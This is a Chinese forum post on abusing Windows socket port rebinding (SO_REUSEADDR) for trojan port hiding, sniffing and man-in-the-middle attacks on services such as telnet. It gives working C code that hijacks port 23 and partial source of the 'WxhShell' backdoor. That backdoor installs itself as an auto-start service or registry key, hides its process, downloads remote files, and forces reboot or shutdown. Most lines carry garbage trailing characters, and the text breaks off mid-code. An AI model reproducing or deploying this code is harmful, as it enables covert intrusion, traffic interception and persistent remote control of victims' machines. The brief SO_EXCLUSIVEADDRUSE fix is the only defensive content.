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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d2!A32m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G7yR&x^  
e71dNL'$  
  saddr.sin_family = AF_INET; bWe_<'N  
m\];.Da  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~t` uq  
&0='z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pgp`g.$<  
HLYTt)f}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }bZcVc2  
\ O#6H5F  
  这意味着什么?意味着可以进行如下的攻击: #F~^m  
~g_]Sskf7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &~SPDiu.t  
MkCq$MA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  erW[q  
mTsl"A>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X-$\DXRIo  
0kp#+&)+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jwe^(U  
A3#^R%2)W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bx5f\)  
3r[}'ba\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NPFrn[M$  
R;{y]1u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r-,P  
"iC*Eoz#.  
  #include j18qY4Gw)  
  #include AdWLab;  
  #include @2>j4Sc  
  #include    P`$"B0B)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yL#bZ9W }  
  int main() JTw3uM, e  
  { hA0g'X2eC  
  WORD wVersionRequested; g+xA0qW  
  DWORD ret; "")I1 iO g  
  WSADATA wsaData; bhqs%B!:  
  BOOL val; "{&?t}rj+  
  SOCKADDR_IN saddr; -S7y1 )7  
  SOCKADDR_IN scaddr; NdlJdq  
  int err; F*bmV>Qq  
  SOCKET s; :*`5|'G}  
  SOCKET sc; }z$_=v  
  int caddsize; =(-oQ<@v  
  HANDLE mt; @/w ($w"  
  DWORD tid;   f'2Ufd|J|  
  wVersionRequested = MAKEWORD( 2, 2 ); _W3>Km-A=/  
  err = WSAStartup( wVersionRequested, &wsaData ); -ST[!W V  
  if ( err != 0 ) { Y5Ub[o  
  printf("error!WSAStartup failed!\n"); j1yW{  
  return -1; &QoV(%:]  
  } ~G;lEp  
  saddr.sin_family = AF_INET; \U0p?wdr:  
   >\x   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *s"dCc  
h)MU^aP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t.7KS:  
  saddr.sin_port = htons(23); Tr} r` %  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ ; $(;  
  { j> ?0Y  
  printf("error!socket failed!\n"); "|\G[xLOaW  
  return -1; n&`=.[+A  
  } SG)hrd  
  val = TRUE; v`Iw:?)%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wTL&m+xr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZE!dg^-L  
  { )Yc jx~   
  printf("error!setsockopt failed!\n"); Wd R~  
  return -1; =xa:>Vh#  
  } qNH= W?T8.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9qHbV 9,M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [KT'aGK$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "8'aZ.P  
%s^2m"ca}=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]4$t'wI.  
  { !@r1B`]j+"  
  ret=GetLastError(); 2}ttC m  
  printf("error!bind failed!\n"); KXAh0A?&+  
  return -1; exn Fy-  
  } ^o*$OM7x  
  listen(s,2); [|XMR=\>  
  while(1) ?_!} lg  
  { ;Tn$c70  
  caddsize = sizeof(scaddr); "-pQL )f  
  //接受连接请求 4t%g:9]vr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aMxg6\8  
  if(sc!=INVALID_SOCKET) Q1?0R<jOU  
  { k4:e0Wd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'mH9 O  
  if(mt==NULL) )o:%Zrk  
  { /MErS< 6  
  printf("Thread Creat Failed!\n"); +E{'A7im8=  
  break; x/UmpJD+  
  } ?D6?W6@  
  } c%5G3j  
  CloseHandle(mt); :$>Co\D  
  } .??[qBOTE  
  closesocket(s); }bW"Z2^nB  
  WSACleanup(); !c;Z<@  
  return 0; #LGAvFA*_F  
  }   K%+[2Hj2  
  DWORD WINAPI ClientThread(LPVOID lpParam) q13bV  
  { fG+/p 0sJ?  
  SOCKET ss = (SOCKET)lpParam; Q*W`mFul  
  SOCKET sc; )YP"\E  
  unsigned char buf[4096]; jO|D# nC  
  SOCKADDR_IN saddr; y)s+/Teb  
  long num; *~t&Ux#hj  
  DWORD val; * [\H)Lz  
  DWORD ret; 0""t`y&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pCE,l'Xa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &.> 2@  
  saddr.sin_family = AF_INET; aSKLSl't`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0gI^GJN%Y!  
  saddr.sin_port = htons(23); }67lL~L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0 e}N{,&Y  
  { l(o#N'!j4  
  printf("error!socket failed!\n"); 7 )2Co[t  
  return -1; _I"T(2Au  
  } n#{z"G  
  val = 100; Qx B0I/ {  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6 J&_H(^  
  { D8`dEB2|S  
  ret = GetLastError(); r+4<Lon~  
  return -1; 3kTOWIX  
  } HF2w?:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vZDM}u  
  { QoGvjf3z  
  ret = GetLastError(); W[+=_B  
  return -1; !9B`  
  } 5gdsV4DH$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~^<ju6O'  
  { 9`A}-YA !  
  printf("error!socket connect failed!\n"); ^#-i%V%  
  closesocket(sc); B4hT(;k  
  closesocket(ss); b3>`%?A  
  return -1; |f :1Br  
  } 4x`.nql  
  while(1) hSg4A=y  
  { "sM 3NY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R-L*N$@!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C J@G8>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F8c^M</  
  num = recv(ss,buf,4096,0); =B+^-2G8  
  if(num>0) -<Wv7FNpD  
  send(sc,buf,num,0); p\"WX  
  else if(num==0) lURL;h  
  break; mbij& 0  
  num = recv(sc,buf,4096,0); O|5Z-r0<  
  if(num>0) _P^ xX'v  
  send(ss,buf,num,0); ,#NH]T`c1  
  else if(num==0) Gkc.HFn(  
  break; *dTI4k  
  } 6 lp.0B  
  closesocket(ss); qs["&\@  
  closesocket(sc); TQor-Cymz  
  return 0 ; 3NLC~CJ  
  } ^Yz.}a##w2  
G2  
>ZE8EL  
========================================================== k*?Axk#  
?`,Rkg0fe  
下边附上一个代码,,WXhSHELL rZ|!y ~S|  
P5qY|_  
========================================================== q|;Sn  
#o(c=  
#include "stdafx.h" ;Q1/53Y<  
w9Eb\An  
#include <stdio.h> MPexc5_  
#include <string.h> 62}rZVJq  
#include <windows.h> YH:murJMZ  
#include <winsock2.h> 7sC8|+  
#include <winsvc.h> $@ous4&  
#include <urlmon.h> uT#MVv~.  
e >OYJd0s  
#pragma comment (lib, "Ws2_32.lib") mYE8]4  
#pragma comment (lib, "urlmon.lib") g9rsw7  
Po~u-5  
#define MAX_USER   100 // 最大客户端连接数 &!adW@y  
#define BUF_SOCK   200 // sock buffer ;;*'<\lP.j  
#define KEY_BUFF   255 // 输入 buffer Q>G lA  
/5PV|o nO  
#define REBOOT     0   // 重启 ~O;'],#Co  
#define SHUTDOWN   1   // 关机 f&n6;N  
&fIx2ZM[  
#define DEF_PORT   5000 // 监听端口 Ah_T tj  
" ,qcqG(  
#define REG_LEN     16   // 注册表键长度 )\!-n]+A  
#define SVC_LEN     80   // NT服务名长度 na%DF@Rt#  
!6yyX}%o  
// 从dll定义API 'ot,6@~x>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~ sC<V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); viLK\>>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ot^<:\< `G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NV[_XXTv7  
l6AG!8H  
// wxhshell配置信息 ^2|G0d@.:  
struct WSCFG { 0c pI2  
  int ws_port;         // 监听端口 ranlbxp2l  
  char ws_passstr[REG_LEN]; // 口令 k=7+JI"J  
  int ws_autoins;       // 安装标记, 1=yes 0=no "1-|ahW  
  char ws_regname[REG_LEN]; // 注册表键名 `:4\RcTb/  
  char ws_svcname[REG_LEN]; // 服务名 NIzxSGk|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3RW3<n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HxH.=M8S_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -UhSy>m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AXQG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XW^Sw;[efZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _w'N&#  
b6LwKUl  
}; jOE~?{8m  
`X=2Ff  
// default Wxhshell configuration 5@:c6(5$  
struct WSCFG wscfg={DEF_PORT, bR0z$~  
    "xuhuanlingzhe", R3[H#*gF<  
    1, -t5DcEAb$  
    "Wxhshell", Mzbbr57n  
    "Wxhshell", B <CK~ybY  
            "WxhShell Service", WX2w7O'R  
    "Wrsky Windows CmdShell Service", opQ d ym  
    "Please Input Your Password: ", u`Sg'ro  
  1, z.xOT;t  
  "http://www.wrsky.com/wxhshell.exe", UImd* ;2TE  
  "Wxhshell.exe" =` %iv|>r0  
    }; _F"o0K!u  
q3~RK[OCq  
// 消息定义模块 {e3XmVAI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]t23qA@^2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z1WF@ Ej  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hf ]w  
char *msg_ws_ext="\n\rExit."; {|jrYU.k~  
char *msg_ws_end="\n\rQuit."; DM73 Nn^5  
char *msg_ws_boot="\n\rReboot..."; %"1*,g{  
char *msg_ws_poff="\n\rShutdown..."; MmvMuX]#)  
char *msg_ws_down="\n\rSave to "; (16U]s  
EE^ N01<"\  
char *msg_ws_err="\n\rErr!"; Za&.sg3RG  
char *msg_ws_ok="\n\rOK!"; 3XOf-v:~  
4Y=sTXbFt  
char ExeFile[MAX_PATH]; y*AB=d^  
int nUser = 0; h /.^iT  
HANDLE handles[MAX_USER]; B!#F!Wk"  
int OsIsNt; %U4w@jp  
Ga%x(1U[&  
SERVICE_STATUS       serviceStatus; ,z*-93H1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gz>M`M`[4  
YTtuR`  
// 函数声明 syseYt]  
int Install(void); `2j \(N,  
int Uninstall(void); nCj_4,O  
int DownloadFile(char *sURL, SOCKET wsh); 9aE.jpN  
int Boot(int flag); e/h2E dY  
void HideProc(void); ?;//%c8,.  
int GetOsVer(void); TDMyZ!d  
int Wxhshell(SOCKET wsl); f\Fk+)e@  
void TalkWithClient(void *cs); :=<0Z1S  
int CmdShell(SOCKET sock); e2onR~Cf  
int StartFromService(void); j.5;0b_L^  
int StartWxhshell(LPSTR lpCmdLine); 9Xr@ll  
RZV8{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d+6 by,'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $c WO`\XM  
o`!7 ~n  
// 数据结构和表定义 \w]c<gM K  
SERVICE_TABLE_ENTRY DispatchTable[] = 1o;*`  
{ '+ 8.nN  
{wscfg.ws_svcname, NTServiceMain}, 2Sq+w;/  
{NULL, NULL} \mBH6GS  
}; 6]#\|lds1  
!A6l\_  
// 自我安装 *@C4~Zo  
int Install(void) N1O& fMz  
{ jv"^_1  
  char svExeFile[MAX_PATH]; V&' :S{i  
  HKEY key; =Wl*.%1 b  
  strcpy(svExeFile,ExeFile); SSS)bv8m  
Fe4QWB6\U  
// 如果是win9x系统,修改注册表设为自启动 _>/T<Db  
if(!OsIsNt) { .q>4?+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m^8KHa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &|:T+LVv$+  
  RegCloseKey(key); P p}N-me>_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |?t6h 5Mt"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )"&$.bWn  
  RegCloseKey(key); ic"n*SZa  
  return 0; iz2I4 _N  
    } 0'DlsC/`*  
  } CQq'x +{F  
} Tz=YSQy$9  
else { }x[d]fcC  
A5lP%&tu(  
// 如果是NT以上系统,安装为系统服务 xTnd9'Pk`:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `f@VX :aL}  
if (schSCManager!=0)  l*+"0  
{ K{ s=k/h  
  SC_HANDLE schService = CreateService yxECK&&P0#  
  ( ) OqQz7'  
  schSCManager, 8\M%\]_  
  wscfg.ws_svcname, $jd>=TU|  
  wscfg.ws_svcdisp, ^GXy:S$  
  SERVICE_ALL_ACCESS, ^jO$nPDd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $ljgFmR_  
  SERVICE_AUTO_START, A/ eZ!"Y  
  SERVICE_ERROR_NORMAL, C~2/ 5  
  svExeFile, [":[\D'  
  NULL, 3wS{@'  
  NULL, !  Z e  
  NULL, S;o U'KOY  
  NULL, )$#r6fQO  
  NULL iwHy!Vi-5  
  ); _HT*>-B  
  if (schService!=0) /12D >OK  
  { I6]|dA3G  
  CloseServiceHandle(schService); g5EdW=Dt,  
  CloseServiceHandle(schSCManager); *>=vSRL0_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /S]W< 8d  
  strcat(svExeFile,wscfg.ws_svcname); 2u[:3K-@,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xHml" Y1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (3RU|4Ks  
  RegCloseKey(key); }OeEv@^  
  return 0; dYg}qad5:  
    } L`i#yXR  
  } q2I;Ly\3o  
  CloseServiceHandle(schSCManager); )P^5L<q>|  
} (8!#<$  
} w"CcWng1  
vT<q zN  
return 1; 5XNIX)H  
} 3:$hC8  
TA47lz q  
// 自我卸载 x8a?I T.  
int Uninstall(void) \WM*2&  
{ #5?Q{ORN o  
  HKEY key; ;Yrg4/Ipa  
o6pnTu  
if(!OsIsNt) { TQ? D*&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H=vrF-#  
  RegDeleteValue(key,wscfg.ws_regname); :E|HP#iwu  
  RegCloseKey(key); 1i}Rc:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i<g|+}I  
  RegDeleteValue(key,wscfg.ws_regname); O&# bC  
  RegCloseKey(key); <v?9:}  
  return 0; >4:W:;R  
  } #vy:aq<bjE  
} "y>\ mC  
} (/&IBd-  
else { JM{S49Lx  
*G^n<p$"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H|='|k5Y.  
if (schSCManager!=0) 28[dTsd%  
{ 29"eu#-Qj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s,TKC67.%+  
  if (schService!=0) 5/Ng!bW  
  { PXGS5,  
  if(DeleteService(schService)!=0) { ]McLace&  
  CloseServiceHandle(schService); ]1 #&J(  
  CloseServiceHandle(schSCManager); V1KWi ^  
  return 0; NF1e>O:a<  
  } =2#a@D6Bl  
  CloseServiceHandle(schService); i0uBb%GMT  
  } u93=>S  
  CloseServiceHandle(schSCManager); TB] %?L:  
} lrjlkgSN  
} ^4Ra$<  
U,C L*qTF  
return 1; #q~SfG  
} 1<]g7W  
,ZcW+!  
// 从指定url下载文件 zCD?5*7  
int DownloadFile(char *sURL, SOCKET wsh) f\"Qgn  
{ v{ .-x\;  
  HRESULT hr; 9&}`.Py  
char seps[]= "/"; dt Q>4C"N  
char *token; \4wM8j  
char *file; sk~rjH]-g$  
char myURL[MAX_PATH]; l=5(5\  
char myFILE[MAX_PATH]; m?-3j65z  
05:`(vl  
strcpy(myURL,sURL); %}cGAHV  
  token=strtok(myURL,seps); p(MhDS\J  
  while(token!=NULL) UYH;15s  
  { >Fm}s,  
    file=token; ]RmQ*F-  
  token=strtok(NULL,seps); -6MgC9]  
  } yy4QY%  
?7@Y=7BS4  
GetCurrentDirectory(MAX_PATH,myFILE); @EzSosmF  
strcat(myFILE, "\\"); )t{oyBT  
strcat(myFILE, file); chsjY]b  
  send(wsh,myFILE,strlen(myFILE),0); 2Z6#3~  
send(wsh,"...",3,0); lIO.LF3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AiSO|!<.N  
  if(hr==S_OK) wJJ4F$"b  
return 0; )W'l^R4W  
else F\+wM*:U  
return 1; s+>""yi  
_`WbR&d2Id  
} * B,D#;6  
`G\uTCpk  
// 系统电源模块 9|dgmEd  
int Boot(int flag) PYqx&om  
{ )J8dm'wH92  
  HANDLE hToken; < vU<:S  
  TOKEN_PRIVILEGES tkp; o|8 5<~`  
s)"C~w^  
  if(OsIsNt) { D%umL/[]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rX6"w31  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m;{_%oQ;  
    tkp.PrivilegeCount = 1; cj-P&D[Ny[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eX 9{wb(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T[s_w-<7$  
if(flag==REBOOT) { @(PYeXdV6&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^jb55X}  
  return 0; J_R54Y~vu  
} [P2$[|IM  
else { xBd#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V'~] b~R  
  return 0; dg 0`0k  
} z %` \p  
  } T%K(opISc(  
  else { XJsHy_6  
if(flag==REBOOT) { =)m2u2c M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =?T\zLN=  
  return 0; H r?G_L  
} jdQ`Y+BC  
else { n'0^l?V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r]?ZXe$;  
  return 0; -Ep cX!i  
} 7 2ux3D  
} ~WU _u,:  
/ZZo`   
return 1; S*],18z?  
} *}Zd QJL  
MhNzmI&`  
// win9x进程隐藏模块 QIF|pZ+^  
void HideProc(void) I\PhgFt@O  
{ V0z.w:-  
Lv+lLK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8AT;9wZqt  
  if ( hKernel != NULL ) n;Tpf<*U  
  { \-N 4G1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P %f],f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eX7Ev'(H  
    FreeLibrary(hKernel); \v{tK;  
  } 2 ]5dSXD  
v'Gqdd-#)  
return; -}1S6dzr  
} MBRRzq%F  
G`PSb<h\oc  
// 获取操作系统版本 /4+M0Pl  
int GetOsVer(void) ct=|y(_  
{ 7(^<Z5@  
  OSVERSIONINFO winfo; |_8 ::kir:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zg2A$Fd[j  
  GetVersionEx(&winfo); Oyhl*`-*t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [>::@[  
  return 1; _aL:XKM  
  else ^RrufwUA  
  return 0; OaRtGJnR  
} Q*Per;%J  
#ebT$hf30  
// 客户端句柄模块 @FIR9XJ  
int Wxhshell(SOCKET wsl) ug0[*#|Y  
{ =K .'x  
  SOCKET wsh; 6tB-  
  struct sockaddr_in client; z6S N  
  DWORD myID; E.Xf b"]  
a h>k=t8(  
  while(nUser<MAX_USER) QgO@oV*S  
{ g #u1.|s&p  
  int nSize=sizeof(client); ZN-J!e"`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +"6_rbeuO  
  if(wsh==INVALID_SOCKET) return 1; ! L:!X88  
/lkIbmV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HT)b3Ws~M8  
if(handles[nUser]==0) 7)S`AQ2:)  
  closesocket(wsh); xekW-=#a7-  
else S:/;|Dg  
  nUser++; }MW*xtGV  
  } [tym~ZZ]_m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j!GJ$yd=-6  
a{^[<  
  return 0; o{pQDI {R  
} eG9tn{  
GLQ1rT  
// 关闭 socket i%+cPQ^o  
void CloseIt(SOCKET wsh) 9V`/zq?  
{ Gp'rN}i^  
closesocket(wsh); :,%~rR  
nUser--; 7kx)/Rw\B  
ExitThread(0); cOcF VPQ  
} p;`jmF   
>'wl)j$  
// 客户端请求句柄 eWS[|' dl  
void TalkWithClient(void *cs) KhAj`vOzK  
{ J?Brnf.  
/c'3I  
  SOCKET wsh=(SOCKET)cs; wO&`3Q3~$  
  char pwd[SVC_LEN]; \.2?951}  
  char cmd[KEY_BUFF]; F7gipCc1We  
char chr[1]; t%ye :  
int i,j; vg"y$%  
<8yzBp4gZ  
  while (nUser < MAX_USER) { WM5 s  
Wk"4mq  
if(wscfg.ws_passstr) { /"+YE&>\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W!8g.r4u+,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); akHcN]sa2  
  //ZeroMemory(pwd,KEY_BUFF); oGx OJyD  
      i=0; _R<eWp  
  while(i<SVC_LEN) { ewg&DBbN"  
I1yZ7QY  
  // 设置超时  }tv%  
  fd_set FdRead; *gfx'$  
  struct timeval TimeOut; zQM3n =y  
  FD_ZERO(&FdRead); ce th)Xm  
  FD_SET(wsh,&FdRead); Da*=uW9  
  TimeOut.tv_sec=8; /2pf*\u  
  TimeOut.tv_usec=0; E</Um M+ R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (m80isl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9YRoWb{y  
w~+5FSdH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T#xCu|5  
  pwd=chr[0]; k v1q \  
  if(chr[0]==0xd || chr[0]==0xa) { JUXIE y^  
  pwd=0; pXf@Y}mH  
  break; uN20sD}  
  } Q1 ?O~ao  
  i++; Nl3 x BM%  
    } j9Ptd$Uj  
jOj`S%7  
  // 如果是非法用户,关闭 socket x4fl=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l?v`kAMR  
} &cztUM(  
,}2yxo;i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H$TYp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0KO_bF#EB=  
 {I+   
while(1) { 6I GUp  
/ 1 lIV_Z  
  ZeroMemory(cmd,KEY_BUFF); s `fIeP  
&SfJwdG*=  
      // 自动支持客户端 telnet标准   |#8u:rguy  
  j=0; Q3> 3!FAO  
  while(j<KEY_BUFF) { </F@ 5*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0&T0Ls#4  
  cmd[j]=chr[0]; 2-5AKm@K  
  if(chr[0]==0xa || chr[0]==0xd) { fH~InDT^  
  cmd[j]=0; s8Kf$E^?e.  
  break; 'b#RfF,7H}  
  } yE[ -@3v  
  j++; ga&l.:lo  
    } wU,{ 5w  
Ug02G  
  // 下载文件 e\x=4i  
  if(strstr(cmd,"http://")) { <6^MVaD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {WUW.(^]G  
  if(DownloadFile(cmd,wsh)) y>wrm:b-O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B5h-JON]-  
  else ^(y=DJ7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wJ@8-H 8}  
  } S6CM/  
  else { RB<LZHZI  
| n5F_RL  
    switch(cmd[0]) { @Aa$k:_  
  !]1X0wo\  
  // 帮助 k_%2Ok   
  case '?': { oR (hL4Dc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v(D{_  
    break; Au jvKQ(  
  } N<o3pX2i]  
  // 安装 W$LaXytmak  
  case 'i': { U;Z6o1G  
    if(Install()) f"t\-ux.b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {o"X8  
    else IPmSkK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C{>@b:]p  
    break; It'hmwu#  
    } #~?Q?"  
  // 卸载 g+Vfd(e  
  case 'r': { jqxeON  
    if(Uninstall()) nM:e<`r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p'UYH t  
    else ]:`q/iS&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :q=u+h_  
    break; fy04/_,q  
    } ,ButNB v  
  // 显示 wxhshell 所在路径 `$oGgz6ZT  
  case 'p': { l'=H,8LfA  
    char svExeFile[MAX_PATH]; , f9V`Pz)  
    strcpy(svExeFile,"\n\r"); wy6>^_z  
      strcat(svExeFile,ExeFile); 9,|{N(N<!  
        send(wsh,svExeFile,strlen(svExeFile),0); ?95^&4Oh0  
    break; kG_ K&,;@  
    } gX<"-,5jc  
  // 重启 N: 'v^0  
  case 'b': { ?8[,0l:|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +7n;Bsk _  
    if(Boot(REBOOT)) `<&RZB2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cPA-EH  
    else { Pk/{~!+ $  
    closesocket(wsh); NIufL }6\  
    ExitThread(0); cF!ygz//  
    } =ic"K6mhq  
    break; KrE:ilm#^Y  
    } 'qcLK>E  
  // 关机 ?dMyhU}  
  case 'd': { z{:T~s  
